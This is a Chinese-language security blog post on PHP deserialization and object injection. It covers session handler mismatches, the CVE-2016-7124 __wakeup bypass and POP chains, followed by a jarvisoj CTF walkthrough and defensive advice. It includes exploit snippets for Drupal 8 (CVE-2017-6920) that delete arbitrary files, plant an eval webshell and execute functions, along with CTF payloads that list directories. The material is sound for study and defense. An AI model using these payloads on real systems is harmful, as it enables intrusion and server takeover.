0x01前言
暑假里留下的坑,反序列化和对象注入的概念比较模糊,写着写着自己就懵逼了,两个概念搅在一起。。。写的比较浅,有挺多东西还得深入研究。。。
0x02反序列化导致的对象注入
php反序列化漏洞一般出现在两种场景中:
- PHP Session 序列化及反序列化处理器设置使用不当。
- 将传来的序列化数据直接unserilize,造成魔幻函数的执行。
下面分别来看一下:
2.1 PHP Session 序列化及反序列化处理器设置使用不当
首先需要一点预备知识
php在存取$_SESSION
的数据时会对数据进行序列化与反序列化,对此php内置了多种处理器,常见的有三种:
如果 PHP 在反序列化存储的$_SESSION
数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的构造,甚至可以伪造任意数据。举个小例子:
test1.php
1 |
|
在设置了session之后访问另一个页面
test2.php
1 |
|
这个页面没有设置任何处理器,使用默认的session.serialize_handler = php
,可以看到通过注入|
,伪造了对象的序列化数据,php把"a:1:{s:4:"test";s:20:""
当做了键名,成功实例化了stdClass对象,造成了php对象注入。
实际利用的话分两种情况
session.auto_start=On
当配置选项 session.auto_start=On,会自动注册 Session 会话(相当于执行了
session_start()
),因为该过程是发生在脚本代码执行前,所以在脚本中设定的包括序列化处理器在内的 session 相关配选项的设置是不起作用的。因此一些需要在脚本中设置序列化处理器配置的程序会在 session.auto_start=On 时,销毁自动生成的 Session 会话。然后设置需要的序列化处理器,再调用 session_start() 函数注册会话,这时如果脚本中设置的序列化处理器与 php.ini 中设置的不同,就会出现安全问题。修改一下上文中test1.php
1
2
3
4
5
6
7
8if(ini_get('session.auto_start'))
session_destroy();
ini_set('session.serialize_handler', 'php_serialize');
session_start();
if(isset($_GET['test']))
$_SESSION['test'] = $_GET['test'];访问
http://127.0.0.1/test/serialize/test1.php?test=|O:8:"stdClass":0:{}
如果在这个session设置成功后,有其他的页面使用这个session,由于处理器的不同,就会导致安全问题。然而PHP自动注册Session会话是在脚本执行前,所以通过该方式只能注入 PHP 的内置类。
session.auto_start = Off
两个脚本注册 Session 会话时使用的序列化处理器不同,就会出现安全问题,就像前面预备知识提到的那样。
test1.php
1
2
3
4
5
ini_set('session.serialize_handler', 'php_serialize');
@session_start();
$_SESSION['test'] = '|O:4:"test":1:{s:2:"hi";s:4:"test";}';test2.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ini_set('session.serialize_handler', 'php');
@session_start();
class test {
public $hi;
function __wakeup() {
echo "__wakeup called<br/>";
echo "hi ";
}
function __destruct() {
echo $this->hi;
}
}
/*输出:
__wakeup called
hi test
*/
unserialize()
会检查是否存在一个__wakeup()
方法。如果存在,则会先调用__wakeup
方法,预先准备对象需要的资源。首先访问test1.php,php会按照 php_serialize 处理器的序列化格式存储数据。访问 test2.php 时,则会按照 php 处理器的反序列化格式读取数据,这时将会反序列化伪造的数据,成功实例化了 test 对象,并将会执行类中的
__wakeup
方法和__destruct
方法。
2.2 将传来的序列化数据直接unserilize,造成魔幻函数的执行
这个问题其实上面已经提到过,unserialize函数在执行时会调用__wakeup
方法和__destruct
方法(如果存在)。如果这两个函数中存在一些重要的或者存在漏洞的代码,恰好反序列化的数据是可控的,这些代码就会被恶意执行,造成意想不到的后果。
php的magic function在这儿:http://php.net/manual/zh/language.oop5.magic.php,还有一些其他的有意思的魔术方法。
但是我们在这里举一个不一样的例子,有点反其道而行之的意思。试想,既然在unserialize时候会调用__wakeup
函数,如果反序列化的数据存在问题的话,直接在__wakeup
方法给过滤掉不就行了。那么我们的目标就从执行__wakeup
变为了绕过他。
1 |
|
这里用来bypass__wakeup
的是php5.6以下版本的一个漏洞——CVE-2016-7124
稍微修改一下代码:
1 |
|
可以看到,当我们修改了属性个数时,就会导致__wakeup()中的语句不被执行。
实战见 SugarCRM v6.5.23 PHP反序列化对象注入漏洞分析,文章写的很详细了,不再多说。
0x03 进阶–构造pop链
在反序列化中,我们所能控制的数据就是对象中的各个属性值,所以在PHP的反序列化有一种漏洞利用方法叫做 “面向属性编程” ,即 POP( Property Oriented Programming)。和二进制漏洞中常用的ROP技术类似。在ROP中我们往往需要一段初始化gadgets来开始我们的整个利用过程,然后继续调用其他gadgets。在PHP反序列化漏洞利用技术POP中,对应的初始化gadgets就是
__wakeup()
或者是__destruct()
方法, 在最理想的情况下能够实现漏洞利用的点就在这两个函数中,但往往我们需要从这个函数开始,逐步的跟进在这个函数中调用到的所有函数,直至找到可以利用的点为止。
反序列化可以控制类属性,无论是private还是public
一个小例子:
1 |
|
Evil类中的action方法存在漏洞,但是我们无法直接调用他。这时候我们发现Test类中有__destruct
方法,并且调用了obj的action方法。这里我们可以控制Test类的obj属性为任意对象,这里我们将obj实例化为Evil的对象。
1 |
|
这里在生成序列化字符串的时候记得urlencode一下,因为如果类中存在protected或private属性,在序列化时会有一些空字节,直接输出是看不出来的,payload也不会生效。
我们在构造好pop链之后,需要运行php得到payload,然后再放到python脚本中,非常麻烦。这里推荐一个php curl的类库:https://github.com/php-mod/curl,github上的几个都试了一下,个人感觉这个比较顺手。虽然没有requests那么强大,不过够用了。
实战一:Joomla
Joomla远程代码执行漏洞分析(总结) 无处不在的p牛,感觉不管研究什么漏洞,转一圈总能看到p牛的blog。。。膜。。。
实战二:Drupal 8.0
CVE-2017-6920:Drupal远程代码执行漏洞分析及POC构造
附上文中三处可利用类的exp
/vendor/symfony/process/Pipes/WindowsPipes.php 任意文件删除
1
2
3
4
5
6namespace Symfony\Component\Process\Pipes;
class WindowsPipes {
private $files = array('/var/www/html/1.txt');
}
$w = new WindowsPipes();
echo '!php/object "'.addslashes((serialize($w))).'"';/vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php 写入webshell
1
2
3
4
5
6
7
8
9
10
11
12
13
require '/var/www/html/vendor/autoload.php';
use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Cookie\SetCookie;
$obj = new FileCookieJar('/var/www/html/shell.php');
$payload = '<?php @eval($_POST[123]);?>';
$obj->setCookie(new SetCookie([
'Name' => 'foo',
'Domain' => $payload,
'Value'=> 'bar',
'Expires' => time()]));
echo '!php/object "'.addslashes(serialize($obj)).'"');/vendor/guzzlehttp/psr7/src/FnStream.php 任意无参函数执行
1
2
3
4
5
6
7
8
namespace GuzzleHttp\Psr7;
class FnStream {
public $_fn_close = 'phpinfo';
}
$f = new FnStream();
echo '!php/object "'.addslashes((serialize($f))).'"';
实战三:Typecho
2017-10-24
Typecho出事了!!!没有错,我的博客也是Typecho。。。不过我搭好之后就把install.php
给删了。本来install的问题很古老了,但是Typecho愣是在安装完成之后对install.php没有做任何操作,难道是官网推荐下载的稳定版本是2014年的原因?
分析文章(Typecho install.php 反序列化导致任意代码执行)写的很清楚了,附上php版本的exp
1 |
|
0x04 牛刀小试
菜鸡挖不到洞就只能做ctf。。。
首先是jarvisoj上的phpinfo
http://web.jarvisoj.com:32784/
1 |
|
index.php使用的序列化处理器为php,通过查看phpinfo可知默认为php_serialize。可是漏洞的触发点在哪儿?我们如何将数据存入$_SESSION中?
继续看phpinfo,发现session.upload_progress.enabled
打开且session.upload_progress.cleanup
关闭的。
知识点来了:
当一个上传在处理中,同时POST一个与INI中设置的session.upload_progress.name同名变量时,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。
所以我们要先写一个html页面:
1 | <form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data"> |
接下来的任务是构造序列化字符串。
1 |
|
通过phpinfo获得网站路径为/opt/lampp/htdocs
,首先列目录
1 | public $mdzz = "print_r(scandir('/opt/lampp/htdocs'));"; |
使用之前的写好的html页面上传任意文件,抓包修改filename
双引号需要转义一下。
接下来是读取Here_1s_7he_fl4g_buT_You_Cannot_see.php
中的内容。
任务完成~
还有一个lemon大佬的php反序列化pop链一则,篇幅问题就不再写。。。
0x05 防御
尽量使用json_endcode/json_decode来代替serialize/unserialize
unserialize中存在用户可控部分时进行严格过滤
1
2
3
4preg_match('/[oc]:[^:]*\d+:/i', $value, $matches);
if (count($matches)) {
return false;
}from SugarCRMv6.5.24
0x06 参考资料
PHP Session 序列化及反序列化处理器设置使用不当带来的安全隐患